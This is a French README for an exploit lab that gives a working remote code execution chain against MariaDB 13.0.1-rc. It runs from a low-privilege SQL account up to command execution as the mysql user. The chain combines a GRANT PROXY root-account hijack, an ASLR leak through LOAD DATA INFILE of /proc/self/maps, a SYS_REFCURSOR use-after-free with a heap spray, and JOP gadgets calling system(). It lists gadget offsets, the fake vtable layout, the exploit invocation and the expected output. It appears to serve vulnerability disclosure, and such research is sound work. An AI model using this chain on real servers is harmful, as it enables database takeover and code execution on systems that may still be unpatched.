
Laboratoire RCE MariaDB 13.0.1-rc — élévation de privilèges + UAF sur le tas + chaîne JOP vers system() en tant que uid 999(mysql) sur image Docker standard. Découvert avec RAPTOR et raptor-loop-hunt.
Exécution de code à distance sur l'image Docker standard, non modifiée, de MariaDB 13.0.1-rc en tant qu'uid 999 (mysql).
Deux variantes d'exploit :
| Variante | Fichier | Prérequis | Remarques |
|---|---|---|---|
| SQL pur (recommandé) | exploit_pure_sql.py | un compte MariaDB à privilèges réduits + TCP | aucun accès à l'hôte, pas de docker, pas de /proc/mem, pas de mot de passe root |
| PoC assisté par l'hôte | exploit.py | root sur l'hôte Docker | écrit la chaîne JOP via /proc/<pid>/mem |
Testé et prouvé sur : mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 exécutions, chacune avec des bases ASLR fraîches).
exploit_pure_sql.py)L'attaquant ne dispose que de :
lowpriv du compose) + son mot de passe, etToute la chaîne est exécutée sous forme d'instructions SQL ; aucun accès aux processus côté hôte, aucune commande docker, aucune adresse connue. Chaque adresse d'exécution est obtenue depuis la cible elle-même via SQL :
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
Les seules opérations non-SQL restantes sont de la maintenance post-exploitation : redémarrer le conteneur (déjà planté) et afficher le fichier marqueur - elles ne font pas partie de l'exploitation.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
Nécessite uniquement un client mariadb/mysql et Python 3. --container est utilisé pour l'affichage final du marqueur (redémarrage + cat) et peut être supprimé si le marqueur est vérifié d'une autre manière.
Fin de sortie attendue :
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' contourne tous les contrôles de privilèges. La clause d'authentification vide fait que LEX_USER::has_auth() renvoie false (en sautant check_alter_user()), tandis que replace_user_table() applique toujours le mot de passe vide — remplaçant ainsi les identifiants de root. Une seule instruction SQL, n'importe quel utilisateur authentifié, toutes les versions publiées de MariaDB.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' lit l'intégralité de la disposition mémoire du processus mariadbd depuis SQL, révélant les adresses de base PIE et de base libc. Fonctionne avec secure_file_priv = NULL (non défini) sur l'image standard.
sp_cursor_array::get_cursor_by_ref() renvoie un pointeur intérieur vers un Dynamic_array dont le stockage sous-jacent est déplacé par my_realloc lors de la croissance. Lorsque la méthode open() d'un curseur exécute du SQL contrôlé par l'attaquant qui ouvre des curseurs supplémentaires, le tableau grandit, l'ancien stockage est libéré et le pointeur mis en cache par l'appelant devient pendant.
Le bloc libéré (16 curseurs x 112 octets = 1792 octets) est récupéré par un heap spray de 128 copies de variables utilisateur de 1784 octets chacune (ajustement exact pour le bloc glibc). La charge utile du spray place un pointeur de vtable contrôlé à l'offset 0x20 (le membre result de sp_cursor), qui est ensuite utilisé pour le dispatch virtuel :
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
Deux gadgets JOP du binaire mariadbd standard (pas de ROP, pas de pivot de pile) :
| Gadget | Offset | Instruction | Objectif |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | Correction d'alignement de la pile |
| D1 | PIE+0xe3075b |
La fausse vtable V se trouve dans le tampon de 128 Mio ; disposition :
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
Le problème de l'œuf et de la poule consistant à écrire des données JOP auto-référentielles avant de connaître l'adresse du tampon est résolu par le comportement mmap de glibc :
/proc/self/maps/proc/self/maps ; si l'adresse
venait à bouger, l'auto-référence est réécrite et l'écriture est réessayée
(converge en une itération en pratique)Même chaîne, mais la disposition JOP est écrite dans le processus via /proc/<pid>/mem depuis l'hôte Docker (root requis), le script de la charge utile est créé via docker exec, et il se connecte avec le mot de passe root du fichier compose. Conservée comme PoC historique ; la variante SQL pur la remplace.
sql/sp_cursor.{cc,h} entre le tag 13.0.1 et HEAD).dbd60d0ad8d, MDEV-40470) se trouve sur les branches de développement mais est absent de toutes les versions publiées (vérifié de 13.0.1 à 10.6.27).SET GLOBAL max_allowed_packet est d'abord augmenté et une nouvelle connexion est utilisée).DATA_OFF s'il diffère un jour).| Ancien assistant (exploit.py) | Remplacement en SQL pur |
|---|
docker inspect → PID + /proc/<pid>/maps côté hôte | LOAD DATA INFILE '/proc/self/maps' |
écritures /proc/<pid>/mem côté hôte pour la chaîne JOP | layout intégré via CONCAT/UNHEX à l'allocation ; adresse issue du diff des maps côté SQL ; la réutilisation de l'emplacement mmap maintient la référence auto valide |
docker exec ... echo CMD > /tmp/payload_cmd.sh | chaîne de commande intégrée directement dans la disposition JOP |
mariadb -uroot -plabpass (mot de passe root) | élévation GRANT PROXY depuis le compte à privilèges réduits |
docker exec ... cat MARKER | uniquement utilisé pour afficher la preuve |
mov rdi,[rax+0xa8]; call [rax+0xa0] |
| Charge le pointeur cmd, appelle system() |